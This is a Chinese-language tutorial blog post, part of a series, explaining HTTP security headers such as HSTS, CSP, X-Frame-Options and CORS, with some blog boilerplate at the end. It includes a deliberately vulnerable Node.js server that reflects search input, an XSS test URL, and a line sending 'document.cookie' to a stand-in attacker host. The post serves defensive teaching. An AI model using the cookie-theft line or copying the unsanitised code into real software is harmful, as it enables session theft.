摘要:綜上所述,認為沒有提供的保護,用戶會過得更好安全研究人員并不完全反對這一決定。內容安全策略是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本和數據注入攻擊等。
這是關于web安全性系列文章的第 三 篇,其它的可點擊以下查看:
Web 應用安全性: 瀏覽器是如何工作的
Web 應用安全性: HTTP簡介
目前,瀏覽器已經實現了大量與安全相關的頭文件,使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊類型以及每個頭后面的一些歷史。
想閱讀更多優質文章請猛戳GitHub博客,一年百來篇優質文章等著你!
HTTP Strict Transport Security (HSTS)HSTS(HTTP Strict Transport Security)國際互聯網工程組織IETF正在推行一種新的Web安全協議,HSTS 的作用是強制客戶端(如瀏覽器)使用 HTTPS 與服務器創建連接。
自 2012 年底以來,HTTPS 無處不在的支持者發現,由于 HTTP 嚴格傳輸安全性,強制客戶端總是使用 HTTP 協議的安全版本更容易:一個非常簡單的設置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對于下一個小時(3600秒),它不應該與具有不安全協議的應用程序進行交互。
當用戶嘗試通過 HTTP 訪問由 HSTS 保護的應用程序時,瀏覽器將拒絕繼續訪問,自動將 http:// 的 URL 轉換為 https://。
你可以使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測試這個。你需要遵循 README 中的說明(它們通過 mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書),然后嘗試打開 https://localhost:7889。
在這個示例中有兩個服務器,一個 HTTPS 服務器監聽 7889,另一個 HTTP 服務器監聽端口 7888。當你訪問 HTTPS 服務器時,它總是試圖重定向到 HTTP 版本,這將正常工作,因為 HTTPS 服務器上沒有 HSTS 策略。如果在 URL 中添加 hsts=on 參數,瀏覽器將強制將重定向中的鏈接轉換為 https:// 版本。由于 7888 上的服務器只支持 http,所以最終將看到類似于這樣的頁面。
你可能想知道用戶第一次訪問你的網站時會發生什么,因為事先沒有定義 HSTS 策略:攻擊者可能會欺騙用戶訪問你網站的 http:// 版本并在那里進行攻擊,所以仍然存在問題,因為 HSTS 是對首次使用機制的信任,它試圖做的是確保,一旦你訪問過網站,瀏覽器就知道后續交互必須使用 HTTPS。
解決這個缺點的一個方法是維護一個海量的數據庫,其中包含了執行 HSTS 的網站,這是Chrome 通過 hstspreload.org 實現的。你必須首先設置安全的方案,然后訪問網站并檢查它是否符合添加到數據庫的條件。例如,我們可以在這看到 Facebook 榜上有名。
將你的的網站提交到這個列表中,就可以提前告訴瀏覽器你的網站使用 HSTS,這樣即使客戶端和服務器之間的第一次交互也將通過一個安全通道進行。但是這是有代價的,因為你確實需要投入到 HSTS 中。如果你希望你的網站從列表中刪除,這對瀏覽器廠商來說不是件容易的事:
請注意,預加載列表中的內容無法輕松撤消。域名可以被移除,但是 Chrome 的更新需要幾個月的時間才能讓用戶看到變化,我們不能保證其他瀏覽器也一樣。不要請求包含,除非您確定能夠長期支持整個站點及其所有子域的HTTPS。
這是因為供應商不能保證所有用戶都使用最新版本的瀏覽器,而你的站點已從列表中刪除。仔細考慮,并根據你對 HSTS 的信心程度和長期支持 HSTS 的能力做出決定。
HTTP Public Key Pinning (HPKP)HTTP 公鑰固定是一種安全機制,它的工作原理是通過響應頭或者 標簽告訴瀏覽器當前網站的證書指紋,以及過期時間等其它信息。未來一段時間內,瀏覽器再次訪問這個網站必須驗證證書鏈中的證書指紋,如果跟之前指定的值不匹配,即便證書本身是合法的,也必須斷開連接。
目前 Firefox 35+ 和 Chrome 38+ 已經支持, HPKP 基本格式如下:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
各字段含義如下:
pin-sha256 即證書指紋,允許出現多次(實際上最少應該指定兩個);
max-age 和 includeSubdomains 分別是過期時間和是否包含子域,它們在 HSTS(HTTP Strict Transport Security)中也有,格式和含義一致;
report-uri用來指定驗證失敗時的上報地址,格式和含義跟 CSP(Content Security Policy)中的同名字段一致;
includeSubdomains 和 report-uri 兩個參數均為可選;
報頭使用證書的散列列出服務器將使用哪些證書(在本例中是其中的兩個證書),并包含附加信息,比如這個指令的生存時間(max-age=3600)和其他一些細節。遺憾的是,我們沒有必要深入了解我們可以用公鑰釘固定做什么,因為這個功能已經被 Chrome 棄用了——這是一個信號,這一信號表明它的采用很快就會直線下降。
Chrome 的決定并不是不理性的,而僅僅是與公鑰固定相關的風險的結果。如果wq丟失了證書,或者只是在測試時犯了一個錯誤,你的網站將無法訪問之前訪問過該網站的用戶(在max-age指令期間,通常是幾周或幾個月)。
由于這些潛在的災難性后果,HPKP 的使用率一直非常低,并且出現了由于錯誤配置導致大型網站無法訪問的事件。綜上所述,Chrome 認為沒有 HPKP提 供的保護,用戶會過得更好——安全研究人員并不完全反對這一決定。
Expect-CT雖然 HPKP 已經被棄用,但是一個新的頭介入進來,防止欺騙 SSL 證書被提供給客戶端:Expect-CT。
Expect-CT 頭允許站點選擇性報告和/或執行證書透明度 (Certificate Transparency) 要求,來防止錯誤簽發的網站證書的使用不被察覺。當站點啟用 Expect-CT 頭,就是在請求瀏覽器檢查該網站的任何證書是否出現在公共證書透明度日志之中。
CT 基本格式如下:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
max-age:
該指令指定接收到 Expect-CT 頭后的秒數,在此期間用戶代理應將收到消息的主機視為已知的 Expect-CT 主機。
如果緩存接收到的值大于它可以表示的值,或者如果其隨后計算溢出,則緩存將認為該值為2147483648(2的31次冪)或其可以方便表示的最大正整數。
report-uri="
該指令指定用戶代理應向其報告 Expect-CT 失效的 URI。
當 enforce 指令和 report-uri 指令共同存在時,這種配置被稱為“強制執行和報告”配置,示意用戶代理既應該強制遵守證書透明度政策,也應當報告違規行為。
enforce 可選
該指令示意用戶代理應強制遵守證書透明度政策(而不是只報告合規性),并且用戶代理應拒絕違反證書透明度政策的之后連接。
當 enforce 指令和 report-uri 指令共同存在時,這種配置被稱為“強制執行和報告”配置,示意用戶代理既應該強制遵守證書透明度政策,也應當報告違規行為。
CT 計劃的目標是比以前使用的任何其他方法更早、更快、更精確地檢測錯誤頒發的或惡意的證書(以及流氓證書頒發機構)。
通過選擇使用 Expect-CT 頭,你可以利用這一優勢來改進應用程序的安全狀態。
X-Frame-Options想象一下,在你的屏幕前彈出這樣一個網頁:
只要你點擊這個鏈接,你就會發現你銀行賬戶里的錢都不見了,發生了什么事?
你是點擊劫持攻擊的受害者。
攻擊者將你引導至他們的網站,該網站顯示了一個非常有吸引力的點擊鏈接。 不幸的是,他還在頁面中嵌入了帶了鏈接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe,且通過設置透明度為 0%來隱藏它。
然后發生的事情是想到點擊原始頁面,試圖贏得一個全新的悍馬,這時瀏覽器上iframe上捕獲了一個點擊,這是一個確認轉移資金的危險點擊。
大多數銀行系統要求你指定一次性 PIN 碼來確認交易,但你的銀行沒有趕上時間且你的所有資金都已被轉走了。
這個例子非常極端,但應該讓你了解點擊劫持攻擊 可能帶來的后果。 用戶打算單擊特定鏈接,而瀏覽器將觸發嵌入 iframe 中“不可見”頁面上的點擊。
幸運的是,瀏覽器為這個問題提供了一個簡單的解決方案: X-Frame-Options (XFO),它允許您人定是否可以將應用程序作為 iframe 嵌入外部網站。由于 Internet Explorer 8 的普及,XFO 于2009 年首次引入,現在仍然受到所有主流瀏覽器的支持。
它的工作原理是,當瀏覽器看到 iframe 時,加載它并在渲染它之前驗證它的 XFO 是否允許它包含在當前頁面中。
X-Frame-Options 有三個值:
DENY:表示該頁面不允許在 frame 中展示,即便是在相同域名的頁面中嵌套也不允許。
SAMEORIGIN:表示該頁面可以在相同域名頁面的 frame 中展示。
ALLOW-FROM uri :表示該頁面可以在指定來源的 frame 中展示。
換一句話說,如果設置為 DENY,不光在別人的網站 frame 嵌入時會無法加載,在同域名頁面中同樣會無法加載。另一方面,如果設置為 SAMEORIGIN,那么頁面就可以在同域名頁面的 frame 中嵌套。
包含最嚴格的 XFO 策略的 HTTP 響應示例如下:
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ...
為了展示啟用 XFO 時瀏覽器的行為,我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=on。 xfo=on 參數告訴服務器在響應中包含 X-Frame-Options: deny,我們可以看到瀏覽器如何限制對 iframe 的訪問:
XFO被認為是防止基于框架的點擊劫持攻擊的最佳方法,直到數年后出現了另一種報頭,即內容安全策略(Content Security Policy,簡稱CSP)。
Content Security Policy (CSP)內容安全策略(CSP) 是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數據注入攻擊等。無論是數據盜取、網站內容污染還是散發惡意軟件,這些攻擊都是主要的手段。
為使CSP可用, 你需要配置你的網絡服務器返回 Content-Security-Policy HTTP頭部 ( 有時你會看到一些關于 X-Content-Security-Policy 頭部的提法, 那是舊版本,你無須再如此指定它)。
要了解 CSP 如何幫助我們,我們首先應該考慮攻擊媒介。 假設我們剛剛構建了自己的 Google 搜索,這是一個帶有提交按鈕的簡單輸入文本。
這個 web 應用程序沒有什么神奇的功能。只是,
顯示一個表單
讓用戶執行搜索
顯示搜索結果和用戶搜索的關鍵字
當我們執行簡單搜索時,這就是應用程序返回的內容:
我們的應用程序非常理解我們的搜索,并找到了一個相關的圖像。如果我們深入研究源代碼,可以在github.com/odino/wasec/tree/master/xss.com 上找到,我們很快就會發現應用程序存在安全問題,因為用戶搜索的任何關鍵字都直接打印在提供給客戶端的 HTML 響應中:
var qs = require("querystring") var url = require("url") var fs = require("fs") require("http").createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || "" let results = keyword ? `You searched for "${keyword}", we found:` : `Try searching...` res.end(fs.readFileSync(__dirname + "/index.html").toString().replace("__KEYWORD__", keyword).replace("__RESULTS__", results)) }).listen(7888)Search The Web
這帶來了一個糟糕的后果。攻擊者可以創建一個特定的鏈接,在受害者瀏覽器中執行任意JavaScript。
如果你有時間和耐心在本地運行示例,你將能夠快速了解 CSP 的強大功能。 我添加了一個啟用CSP的查詢字符串參數,因此我們可以嘗試在啟用 CSP 的情況下導航到惡意 URL:
http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
正如你在上面的例子中所看到的,我們已經告訴瀏覽器,我們的 CSP 策略只允許腳本包含在當前 URL 的同一來源,我們可以通過展開 URL 和查看響應頭來驗證:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src "self" Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
由于 XSS 攻擊是通過內聯腳本(直接嵌入到HTML內容中的腳本)進行的,所以瀏覽器友好地拒絕執行它,以保證用戶的安全。想象一下,如果攻擊者不是簡單地顯示一個警告對話框,而是通過一些JavaScript代碼將重定向到自己的域,代碼可能如下:
window.location = `attacker.com/${document.cookie}`
他們本來可以竊取所有用戶的 cookie,其中可能包含高度敏感的數據(下一篇文章中有更多內容)。
CSP的一個有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 頭文件,而是首先使用 Content-Security-Policy-Report-Only 頭文件測試 CSP 對你的網站的影響,方法是告訴瀏覽器簡單地報告錯誤,而不阻塞腳本執行,等等。
通過報告,你可以了解要推出的 CSP 策略可能導致的重大更改,并相應地進行修復。 我們甚至可以指定報告網址,瀏覽器會向我們發送報告。 以下是 report-only 策略的完整示例:
Content-Security-Policy: default-src "self"; report-uri http://cspviolations.example.com/collector
CSP 策略本身可能有點復雜,如下例所示:
Content-Security-Policy: default-src "self"; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
本策略定義了以下規則:
可執行腳本(例如JavaScript)只能從 scripts.example.com 加載
圖像可以從任何源(img-src: *)
視頻或音頻內容可以從兩個來源加載: medias.example.com 和 medias.legacy.example.com
正如你所看到的,策略可能會變得很長,如果我們想確保為用戶提供最高的保護,這可能會成為一個相當乏味的過程。不過,編寫全面的 CSP 策略是向 web 應用程序添加額外安全層的重要一步。
X-XSS-ProtectionHTTP X-XSS-Protection 響應頭是Internet Explorer,Chrome和Safari的一個功能,當檢測到跨站腳本攻擊 (XSS)時,瀏覽器將停止加載頁面。雖然這些保護在現代瀏覽器中基本上是不必要的,當網站實施一個強大的 Content-Security-Policy 來禁用內聯的 JavaScript ("unsafe-inline")時, 他們仍然可以為尚不支持 CSP 的舊版瀏覽器的用戶提供保護。
它的語法和我們剛才看到的非常相似:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
XSS 是最常見的攻擊類型,其中未經過驗證的服務器打印出未經過處理的輸入,而且這個標題真正發揮作用。 如果你想親眼看到這個,我建議你試試 github.com/odino/wasec/tree/master/xss 上的例子。
將 xss=on 附加到 URL 上,它顯示了當 XSS 保護時瀏覽器做了什么 打開了。 如果我們在搜索框中輸入惡意字符串,例如
令人驚訝的是,Chrome 非常謹慎,它將阻止頁面渲染,使得 XSS 的攻擊非常難以實現。
Feature policy2018 年 7 月,安全研究員 Scott Helme 發表了一篇非常有趣的博客文章,詳細介紹了正在開發的一個新的安全標頭: Feature-Policy。
目前只有很少的瀏覽器(在撰寫本文時是Chrome和Safari)支持這個標頭,它允許我們定義當前頁面中是否啟用了特定的瀏覽器功能。使用與 CSP 非常相似的語法,比如下面這個:
Feature-Policy: vibrate "self"; push *; camera "none"
如果我們對此策略如何影響頁面可用的瀏覽器 API 仍有疑問,我們可以簡單地剖析它:
vibrate "self":這將允許當前頁面使用vibration API 和同一源上的任何嵌套瀏覽上下文(iframe)
push *:當前頁面和任何 iframe 都可以使用 push notification API
camera "none":當前頁面和任何嵌套上下文(iframe)都拒絕訪問 camera API
feature policy 的歷史可能很短,但是搶先一步也無妨。例如,如果你的網站允許用戶自拍或錄制音頻,那么使用限制其他上下文通過你的頁面訪問 API 的策略將非常有益。
X-Content-Type-Options有時候,從安全的角度來看,聰明的瀏覽器功能最終會傷害我們。 一個明顯的例子是 MIME嗅探(MIME-sniffing),這是一種由 Internet Explorer 推廣的技術。
MIME 嗅探是瀏覽器自動檢測(和修復)正在下載的資源的內容類型的能力。 例如,我們要求瀏覽器渲染圖片 /awesome-picture.png ,但服務器在向瀏覽器提供圖像時設置了錯誤的類型(例如,Content-Type:text/plain),這通常會導致瀏覽器無法正確顯示圖像。
為了解決這個問題,IE 竭盡全力實現 MIME 嗅探功能:當下載資源時,瀏覽器會“掃描”它,如果它會檢測到資源的內容類型不是由在 Content-Type 標頭中的服務器,它將忽略服務器發送的類型并根據瀏覽器檢測到的類型解釋資源。
現在,想象一下,托管一個網站,允許用戶上傳自己的圖像,并想象用戶上傳包含 JavaScript 代碼的 /test.jpg 文件。 看看這是怎么回事? 上傳文件后,該網站會將其包含在自己的 HTML 中,當瀏覽器嘗試渲染文檔時,它會找到用戶剛剛上傳的“圖像”。 當瀏覽器下載圖像時,它會檢測到它是一個腳本,并在受害者的瀏覽器上執行它。
為了避免這個問題,我們可以設置 X-Content-Type-Options:nosniheader,它完全禁用 MIME 嗅探:通過這樣做,我們告訴瀏覽器,我們完全知道某些文件可能在類型和內容方面不匹配,瀏覽器不應該擔心這個問題。我們知道我們在做什么,所以瀏覽器不應該試圖猜測,可能對我們的用戶構成安全威脅。
Cross-Origin Resource Sharing (CORS)在瀏覽器上,通過 JavaScript,HTTP 請求只能在同一個源上觸發。 簡而言之,example.com 的AJAX 請求只能連接到 example.com。
這是因為你的瀏覽器包含攻擊者的有用信息 - Cookie,通常用于跟蹤用戶的會話。 想象一下,如果攻擊者在 win-a-hummer.com 上設置惡意頁面,會立即向 your-bank.com 發出 AJAX 請求。
如果你在銀行的網站上登錄,則攻擊者可以使用你的憑據執行 HTTP 請求,可能會竊取信息,或者更糟糕的是,將你的銀行帳戶清除掉。
不過,在某些情況下可能需要執行跨域 AJAX 請求,這就是瀏覽器實現跨跨資源共享(Cross Origin Resource Sharing, CORS)的原因,這是一組允許執行跨域請求的指令。
CORS 背后的機制非常復雜,我們不可能通讀整個規范,所以我將重點介紹 CORS 的“簡化”版本。
現在,你只需要知道,通過使用 Access-Control-Allow-Origin 頭,應用程序告訴瀏覽器可以接收來自其他域的請求。
這個寬松的形式設置 Access-Control-Allow-Origin: *,它允許任何域訪問我們的應用程序,但是我們可以通過使用 Access-Control-Allow-Origin: https://example.com 添加我們想要列入白名單的 URL 來限制它。
如果我們看看 github.com/odino/wasec/tree/master/cors 上的示例,我們可以清楚地看到瀏覽器如何阻止訪問多帶帶來源的資源。 我已經設置了一個示例,用于從 test-cors 到 test-cors-2 發出 AJAX 請求,并將操作結果打印到瀏覽器。 當 test-cors-2 后面的服務器被指示使用 CORS 時,頁面按預期工作。 嘗試導航到 http://cors-test:7888/?cors=on
但是當我們從 UR L中刪除 cors 參數時,瀏覽器會介入并阻止我們訪問響應的內容:
我們需要理解的一個重要方面是瀏覽器執行了請求,但阻止了客戶端訪問它。 這非常重要,因為如果我們的請求會對服務器產生任何副作用,它仍然會使我們容易受到攻擊。 想象一下,例如,如果我們的銀行允許通過簡單地調用 my-bank.com/transfer?amount=1000&from=me&to=attacker 來轉移資金,那將是一場災難!
正如我們在本系列第一篇講到,GET 請求應該是冪等的,但如果我們嘗試用 POST 請求會發生什么? 幸運的是,在示例中包含了這個場景,通過導航到 http://cors-test:7888/?method=POST:來嘗試:
瀏覽器發出“預檢”請求,而不是直接執行我們的 POST 請求,這可能會導致服務器出現嚴重問題。 這只是對服務器的 OPTIONS 請求,要求它驗證我們的來源是否被允許。 在這種情況下,服務器沒有正面響應,因此瀏覽器停止進程,我們的 POST 請求永遠不會到達目標。
這告訴我們一些事情:
CORS 不是一個簡單的規范,很多場景需要牢記,你可以很容易地混淆預檢請求等功能的細微差別。
永遠不要暴露通過 GET 改變狀態的 API。 攻擊者可以在沒有預檢請求的情況下觸發這些請求,這意味著根本沒有保護。
根據經驗,我發現自己更愿意設置代理,以便將請求轉發到正確的服務器,而不是使用 CORS。這意味著運行在 example.com 上的應用程序可以在 example.com/_proxy/other.com 設置一個代理,這樣所有位于 _proxy/other.com/* 下的請求都可以代理到 other.com。
X-Permitted-Cross-Domain-Policies與 CORS 非常相似的是,X-Permitted-Cross-Domain-Policies 針對 Adobe 產品(即Flash和Acrobat)的跨域策略。
我不會詳細介紹,因為這是一個針對非常特定用例的標頭。長話短說,Adobe 產品通過請求目標域根目錄中的 cross-domain.xml 文件處理跨域請求,并且 X-Permitted-Cross-Domain-Policies 定義了訪問該文件的策略。
聽起來復雜嗎?我只建議添加一個 X-Permitted-Cross-Domain-Policies: none 并忽略希望使用 Flash 跨域請求的客戶端。
Referrer-Policy在我們職業生涯的開始,我們可能都犯了同樣的錯誤。使用 Referer 頭在我們的網站上實現安全限制。如果頭部在我們定義的白名單中包含一個特定的 URL,我們將允許用戶訪問。
Referrer-Policy 頭文件誕生于 2017 年初,目前受到所有主流瀏覽器的支持,它可以告訴瀏覽器,它應該只屏蔽 Referer 頭文件中的URL,或者完全省 略URL,從而緩解這些隱私問題。
Referrer-Policy 一些最常見的值是:
no-referrer:整個 Referer 首部會被移除。訪問來源信息不隨著請求一起發送。
origin:在任何情況下,僅發送文件的源作為引用地址。例如 https://example.com/page.html 會將 https://example.com/ 作為引用地址。
same-origin:對于同源的請求會發送引用地址,但是對于非同源請求則不發送引用地址信息。
值得注意的是,Referrer-Policy 有很多變體(trict-origin、no-referrer-when-downgrade等等),但是我上面提到的這些變體可能會涵蓋你的大多數用例。如果你希望更好地理解你可以使用的每一個變體,可以訪問 OWASP dedicated page 了解。
Origin 標頭與 Referer 非常相似,因為它是由瀏覽器在跨域請求中發送的,以確保允許調用者訪問不同域上的資源。 Origin 標頭由瀏覽器控制,因此惡意用戶無法篡改它。 你可能會將其用作Web應用程序的防火墻:如果 Origin 位于我們的白名單中,請讓請求通過。
但有一點需要考慮的是,其他 HTTP 客戶端(如c URL)可以呈現自己的來源:簡單的 curl -H "Origin: example.com" api.example.com 將使所有基于源的防火墻規則效率低下...... ...... 這就是為什么你不能依靠 Origin(或者我們剛才看到的 Referer)來構建防火墻來阻止惡意客戶端。
有狀態 HTTP:使用 cookie 管理會話本文應該向我們介紹一些有趣的 HTTP 標頭,讓我們了解它們如何通過特定于協議的功能強化我們的Web 應用程序,以及主流瀏覽器的一些幫助。
在下一篇文章中,我們將深入研究HTTP協議中最容易被誤解的特性之一: cookie。
代碼部署后可能存在的BUG沒法實時知道,事后為了解決這些BUG,花了大量的時間進行log 調試,這邊順便給大家推薦一個好用的BUG監控工具 Fundebug。
你的點贊是我持續分享好東西的動力,歡迎點贊!
交流干貨系列文章匯總如下,覺得不錯點個Star,歡迎 加群 互相學習。
https://github.com/qq44924588...
我是小智,公眾號「大遷世界」作者,對前端技術保持學習愛好者。我會經常分享自己所學所看的干貨,在進階的路上,共勉!
關注公眾號,后臺回復福利,即可看到福利,你懂的。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/109110.html
摘要:在服務器做出響應時,為了提高安全性,在響應頭中可以使用的各種響應頭字段。用于防止等跨站腳本攻擊。用于防止跨站腳本攻擊或數據注入攻擊但是,如果設定不當,則網站中的部分腳本代碼有可能失效。用于指定所有子域名同樣使用該策略。 在 Web 服務器做出響應時,為了提高安全性,在 HTTP 響應頭中可以使用的各種響應頭字段。 X-Frame-Options 該響應頭中用于控制是否在瀏覽器中顯示 f...
摘要:概述本文為協議的第九章,本文翻譯的主要內容為安全性相關內容。安全性考慮協議正文這一章描述了一些協議的可用的安全性考慮。連接保密性和完整性連接保密性是基于運行的協議的。使用一個合適的狀態碼的關閉幀有助于診斷這個問題。 概述 本文為 WebSocket 協議的第九章,本文翻譯的主要內容為 WebSocket 安全性相關內容。 10 安全性考慮(協議正文) 這一章描述了一些 WebSocke...
摘要:概述本文為協議的第九章,本文翻譯的主要內容為安全性相關內容。安全性考慮協議正文這一章描述了一些協議的可用的安全性考慮。連接保密性和完整性連接保密性是基于運行的協議的。使用一個合適的狀態碼的關閉幀有助于診斷這個問題。 概述 本文為 WebSocket 協議的第九章,本文翻譯的主要內容為 WebSocket 安全性相關內容。 10 安全性考慮(協議正文) 這一章描述了一些 WebSocke...
摘要:防止受到跨站腳本攻擊以及其他跨站注入攻擊。管理對于的安全使用,其重要性是不言而喻的。設置這個屬性將禁止腳本獲取到這個,這可以用來幫助防止跨站腳本攻擊。這個查詢可能會變成最簡單的預防方法則是使用參數化查詢或預處理語句。 前言 安全性,總是一個不可忽視的問題。許多人都承認這點,但是卻很少有人真的認真地對待它。所以我們列出了這個清單,讓你在將你的應用部署到生產環境來給千萬用戶使用之前,做一個...
閱讀 1551·2023-04-26 02:29
閱讀 3015·2021-10-11 10:58
閱讀 2893·2021-10-08 10:16
閱讀 3154·2021-09-24 09:47
閱讀 1562·2019-08-29 16:56
閱讀 2711·2019-08-29 11:03
閱讀 1992·2019-08-26 13:35
閱讀 3167·2019-08-26 13:34